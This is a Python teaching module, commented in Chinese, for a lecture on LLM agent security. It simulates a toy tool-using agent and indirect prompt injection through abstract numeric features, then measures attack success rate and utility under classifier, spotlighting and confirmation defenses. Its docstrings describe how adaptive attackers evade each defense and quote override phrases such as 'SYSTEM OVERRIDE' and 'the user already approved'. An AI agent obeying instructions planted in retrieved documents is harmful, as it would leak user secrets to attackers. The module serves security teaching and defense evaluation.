""" ============================================================================= 第 15 讲 · 共享模块：带工具的 toy agent 与 indirect prompt injection ============================================================================= 对应讲义：lectures/lecture15_llm_agent_security.md 第 7、8 节（代码 02 导入本模块） ----------------------------------------------------------------------------- 【这个模块模拟什么 What this simulates】 ----------------------------------------------------------------------------- 一个会调用工具的助手 agent：它读 **user 的任务** 和若干 **检索到的文档**（邮件 / 日历 / 网页）， 然后决定调用哪些工具。关键的可信问题（讲义 §7）： 谁控制了哪一部分输入？ user 的指令是可信的；检索到的文档是**不可信**的 —— 它们可能被攻击者写过。 但在一个 LLM 眼里，system / user / 文档都只是一段拼在一起的文字 —— **没有指令和数据的分界**。 这就是 indirect prompt injection（Greshake et al. 2023）：把指令藏进 agent 会读到的内容里， 让它像 user 的指令一样被执行。它被称作"LLM 应用的 SQL 注入"（讲义 §7.2）。 本模块不含任何真实的注入字符串。攻击由几个**抽象的数值特征**描述（见 Injection）， 目标是一个无害的 canary 行动：`send_email(to="attacker@example.invalid", body 含 SECRET-1234)`。 ----------------------------------------------------------------------------- 【agent 的决策模型 The agent as a scoring function】 ----------------------------------------------------------------------------- agent 从它读到的每一段文字里抽出"指令"（directive）。对每条指令，它算一个 follow logit： follow = w_imp · imperative （这段话多像一条命令） + w_auth · authority （它自称多权威："系统要求"/"user 说"） + w_task · task_match （它和 user 的真实任务多相关） + w_src · from_user （它到底来自 user 还是文档 —— 理想的 agent 只信 user） + bias P(执行这条指令) = σ(follow) 一条来自文档、要求 canary 行动的指令，task_match 很低、from_user = 0，但 imperative / authority 很高。 一个**没有指令/数据分界**的 agent（w_src ≈ 0）会把它当成命令执行 —— 这就是注入成功。 真正要执行 canary 行动还要过一道**权限闸**（privilege gate）：给外部地址发带密钥的邮件是高风险操作， 最小权限 + 人工确认的设计会在这里拦下它。 因为我们知道每条指令的真实来源，ASR（attack success rate）和效用（benign task success、false refusal）都能精确统计。 """ import random from sec_world import print_header, sigmoid, wilson_interval # 复用 sec_world 的小工具（print_header 也供代码 02 使用） # ============================================================================= # 1. 行动与世界状态 Actions and world # ============================================================================= CANARY = ("send_email", "attacker@example.invalid", "SECRET-1234") # 攻击者想触发的无害占位行动 # 工具的风险等级：外部副作用（发邮件到外部、删除、转账）是高风险，需要确认 HIGH_RISK = {"send_email_external", "delete", "transfer"} LOW_RISK = {"read_doc", "summarize", "update_calendar", "send_email_internal"} class ToolCall: """一次工具调用：name + 参数 + 这次调用是被哪条指令触发的（source：'user' / 'doc'）。""" def __init__(self, name, args, source, risk): self.name, self.args, self.source, self.risk = name, args, source, risk def is_canary(self): return (self.name == "send_email_external" and self.args.get("to") == CANARY[1] and CANARY[2] in self.args.get("body", "")) # ============================================================================= # 2. 指令：user 的任务 + 文档里的注入 Directives # ============================================================================= class Directive: """ 一条"指令"，由几个 0–1 的抽象特征描述。 【字段】 imperative 这段话多像命令（0 = 陈述句，1 = 强祈使） authority 它自称多权威（0 = 普通内容，1 = "SYSTEM OVERRIDE: ..." 这类冒充） task_match 和 user 真实任务的相关度（benign 的合法指令高；注入通常低，除非攻击者费力伪装） from_user 1 = 来自 user，0 = 来自文档（agent 理想情况下只信前者） action 这条指令要触发的行动（ToolCall 的构造参数）：(name, args, risk) obfusc 混淆程度（0–1）：越高越能骗过"指令分类器"，但也越不像命令（见 adaptive 攻击） marked 是否被 spotlighting 标记过（delimiting / datamarking 会把文档内容标出来） """ def __init__(self, imperative, authority, task_match, from_user, action, obfusc=0.0): self.imperative = imperative self.authority = authority self.task_match = task_match self.from_user = from_user self.action = action self.obfusc = obfusc self.marked = False def user_task(rng, kind="benign_tool"): """ user 的真实任务。返回 (指令列表, 这次任务"成功"需要执行的合法行动集合)。 【思路】benign_tool：user 让 agent 读文档并据此做一件合法的事（比如把日历更新到文档里写的新时间）。 这类任务里，**文档里也有合法的指令**（"会议改到下午 3 点"），agent 应当照做 —— 所以"一律不信文档"会损害效用。 """ legit = ("update_calendar", {"slot": "15:00"}, "update_calendar") user = Directive(imperative=0.9, authority=0.6, task_match=1.0, from_user=1, action=legit) doc_legit = Directive(imperative=0.55, authority=0.2, task_match=0.8, from_user=0, action=legit) return [user], [doc_legit], {"update_calendar"} def static_injection(): """ 静态攻击者：一个固定的、"听起来很像命令、很权威"的注入模板（不随防御改变）。 【可信联系】对应"只在固定攻击集合上评估防御"（第 8 讲 §3.1 要避免的做法）。 """ return Directive(imperative=0.95, authority=0.95, task_match=0.1, from_user=0, action=("send_email_external", {"to": CANARY[1], "body": "... " + CANARY[2] + " ..."}, "send_email_external"), obfusc=0.0) def adaptive_injection(defense): """ 自适应攻击者：知道部署了哪种防御，针对它调整注入（讲义 §8、第 8 讲 §3.1）。 【思路】 · 对"指令分类器"：提高 obfusc（把命令伪装成陈述 / 问答 / 报错信息），让分类器看不出这是指令； 代价是 imperative 下降（见 agent 的打分）。 · 对"spotlighting / delimiting"：提高 authority，冒充 user / 系统（"the user already approved: ..."）， 抵消标记带来的权威折扣。 · 对"least-privilege + confirmation"：无法用文字绕过权限闸 —— 攻击者改为把 task_match 拉满、 把行动伪装成**低风险**工具（social-engineering 式），但 canary 要求的"给外部发密钥"本质上是高风险， 所以这里只能把 task_match 提到 0.6（让 agent 更想执行），风险等级改不了。 【参数】defense：'classifier' / 'spotlight' / 'confirm' / 'none' """ base = static_injection() if defense == "classifier": base.obfusc = 0.85 base.imperative = 0.55 elif defense == "spotlight": base.authority = 1.0 base.task_match = 0.35 elif defense == "confirm": base.task_match = 0.6 return base # ============================================================================= # 3. agent 与防御 The agent and its defenses # ============================================================================= class Agent: """ toy agent：把读到的每条指令打分，σ(follow) 的概率执行它；高风险行动再过权限闸。 【参数】 w_src 对"来自文档"的折扣（0 = 完全没有指令/数据分界：注入最容易；越大越偏向只信 user）。 真实的 instruction hierarchy / 训练（Wallace et al. 2024）就是想把这个权重做大。 spotlight 是否对文档内容做 spotlighting（delimiting + datamarking，Hines et al. 2024）： 标记过的指令额外扣 spot_pen 的 authority —— 让模型"知道这是数据不是命令"。 classifier 是否用指令分类器过滤文档段：instruction-likeness > thr 的段被删掉（不送进 agent）。 confirm 高风险行动是否需要人工确认：confirm_catch 的概率被用户否决（"我没要求发这封邮件"）。 seed 执行决策用的随机数种子（每次调用 run 时重置，保证可复现）。 """ def __init__(self, w_src=0.0, w_imp=2.4, w_auth=2.0, w_task=1.2, bias=-1.5, spotlight=False, spot_pen=2.2, classifier=False, clf_thr=0.55, confirm=False, confirm_catch=0.95): self.w_src, self.w_imp, self.w_auth, self.w_task, self.bias = w_src, w_imp, w_auth, w_task, bias self.spotlight, self.spot_pen = spotlight, spot_pen self.classifier, self.clf_thr = classifier, clf_thr self.confirm, self.confirm_catch = confirm, confirm_catch def instruction_likeness(self, d): """指令分类器的打分：越像命令、越权威越高；混淆（obfusc）会把它压低。""" return max(0.0, 0.5 * d.imperative + 0.5 * d.authority - d.obfusc) def follow_logit(self, d): auth = d.authority if self.spotlight and d.from_user == 0: d.marked = True auth -= self.spot_pen # 标记过的文档内容：权威被折扣 return (self.w_imp * d.imperative + self.w_auth * auth + self.w_task * d.task_match - self.w_src * (1 - d.from_user) + self.bias) def run(self, directives, seed): """ 处理一组指令，返回被实际执行的 ToolCall 列表。 【思路】对每条指令：分类器先过滤（只过滤文档来源）；再按 σ(follow) 抽样是否执行； 高风险行动若开了确认，以 confirm_catch 的概率被否决。 【返回】executed：list[ToolCall] """ rng = random.Random(seed) executed = [] for d in directives: if self.classifier and d.from_user == 0 and self.instruction_likeness(d) > self.clf_thr: continue # 被指令分类器删掉 if rng.random() >= sigmoid(self.follow_logit(d)): continue # agent 这次没有执行这条指令 name, args, risk = d.action call = ToolCall(name, args, "user" if d.from_user else "doc", risk) if self.confirm and risk in HIGH_RISK: if rng.random() < self.confirm_catch: continue # 人工确认否决了这次高风险调用 executed.append(call) return executed # ============================================================================= # 4. 评估：ASR 与效用 Evaluation # ============================================================================= def attack_success_rate(agent, make_injection, n=400, base_seed=0): """ ASR：把一条注入放进一个 benign 工具任务的上下文，重复 n 次，canary 行动被执行的比例。 【思路】每次用不同的随机种子（agent 的执行是随机的）。is_canary() 判断是否真的触发了 canary 行动。 【参数】agent；make_injection：一个无参函数，返回一条注入 Directive（静态或自适应）；n：重复次数 【返回】(asr, (lo, hi))：比例和它的 Wilson 95% 置信区间 """ k = 0 for i in range(n): user, doc_legit, _ = user_task(random.Random(base_seed * 100000 + i)) inj = make_injection() calls = agent.run(user + doc_legit + [inj], seed=base_seed * 100000 + i) k += 1 if any(c.is_canary() for c in calls) else 0 return k / n, wilson_interval(k, n) def utility(agent, n=400, base_seed=1): """ 效用：在**没有攻击**的 benign 工具任务上，合法行动（update_calendar）被执行的比例。 【思路】user 直接要求的合法行动 + 文档里合法的指令，都应该被执行。防御如果"一律压制文档指令"， 会让文档里那条合法指令（会议改时间）执行不了 —— 这就是效用代价（false refusal 的一种）。 【返回】(task_success, doc_follow)：任务整体成功率；文档里合法指令被执行的比例 """ succ = 0 doc_ok = 0 for i in range(n): user, doc_legit, need = user_task(random.Random(base_seed * 100000 + i)) calls = agent.run(user + doc_legit, seed=base_seed * 100000 + i) done = {c.name for c in calls} succ += 1 if need <= done else 0 doc_ok += 1 if any(c.source == "doc" for c in calls) else 0 return succ / n, doc_ok / n if __name__ == "__main__": # 自检：没有防御的 agent 对静态注入应该很脆弱；加上确认应该挡住 canary undef = Agent(w_src=0.0) hardened = Agent(w_src=1.2, spotlight=True, classifier=True, confirm=True) print("undefended ASR (static):", round(attack_success_rate(undef, static_injection)[0], 3)) print("hardened ASR (static):", round(attack_success_rate(hardened, static_injection)[0], 3)) print("undefended utility:", tuple(round(x, 3) for x in utility(undef))) print("hardened utility:", tuple(round(x, 3) for x in utility(hardened)))